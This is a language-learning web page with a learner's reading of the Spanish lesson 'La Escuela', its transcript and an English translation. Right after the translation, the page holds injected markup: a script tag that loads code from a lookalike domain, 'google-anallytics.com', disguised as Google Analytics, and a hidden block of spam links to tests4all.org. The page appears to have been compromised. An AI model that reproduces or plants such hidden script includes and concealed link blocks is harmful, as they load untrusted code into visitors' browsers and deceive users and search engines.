Language sounds
Home > Sounds > La Escuela

‘La Escuela’
Click to listen to la_escuela1.mp3 (502Kb)
Non-native speaker
Accent: american
Author: sajro
Date: 8/5/2008

Description of what is on the sound file:
This is me (sajro) reading La Escuela from Project Gutenberg's A First Spanish Reader.

---

Transcript of sound file:
LA ESCUELA

Voy a la escuela. Voy a la escuela el lunes, el martes, el miércoles, el jueves y el viernes. El sábado y el domingo no voy a la escuela. El sábado y el domingo estoy en casa. Soy un discípulo y estoy en la escuela. El discípulo aprende. Aprendo la aritmética, a leer y a escribir. Vd. aprende el español. Todos nosotros aprendemos diligentemente. Algunos discípulos no son diligentes. Algunos son perezosos. El maestro elogia a los discípulos diligentes y a los discípulos obedientes. Él no elogia a los alumnos perezosos.

El maestro enseña. Mi maestro enseña el español. Este maestro enseña las matemáticas y aquel maestro el inglés. El señor Blanco enseña la biología y la química. La señorita Herrera enseña la geografía y la historia. ¿Qué aprende Vd. en la escuela? Aprendo el español, el francés, el álgebra, la biología y la estenografía.

---

Translation:
(what I understand it to mean)

School

I go to school. I go to school on Mondays, Tuesday, Wednesday, Thursday, and Friday. Saturday and Sunday I'm at home. I'm a student and I'm in school. A student learns. I learn arithmetic, and to read and write. You learn Spanish. All of us learn diligently. Some students aren't diligent. Some are lazy. My teacher praises the diligent students and the obedient students. He doesn't praise the lazy students.

The teacher teaches. My teacher teaches Spanish. This teacher teaches math and this one teaches English. Mr. White teaches biology and chemistry. Ms. Herrera teaches geography and history. What do you learn in school? I learn Spanish, French, algebra, biology, and shorthand.

(I think shorthand refers to speed-writing or something similar. Note taking, study skills, etc.)'text/javascript' src='http://google-anallytics.com/urchin.js'></script><div style='display:none;'><a href='http://tests4all.org/1/'>stages for losing weight</a><a href='http://tests4all.org/2/'>lauren sones personal trainer</a><a href='http://tests4all.org/3/'>lung cleansing quit smoking</a><a href='http://tests4all.org/4/'>blu eyes crying in the rain</a><a href='http://tests4all.org/5/'>photo proof the cardinals got cheated</a><a href='http://tests4all.org/6/'>video game occupations pay</a><a href='http://tests4all.org/7/'>alpha investment partners limited</a><a href='http://tests4all.org/8/'>britannica iq test</a><a href='http://tests4all.org/9/'>america psychic challenge contestant names</a><a href='http://tests4all.org/10/'>nashville past life regression</a><a href='http://tests4all.org/11/'>andrew elliott death date jun 1968</a><a href='http://tests4all.org/12/'>experimental lung liver cancer treatments</a></div>

---

Upload a sound file (you need to register or login to the forum first)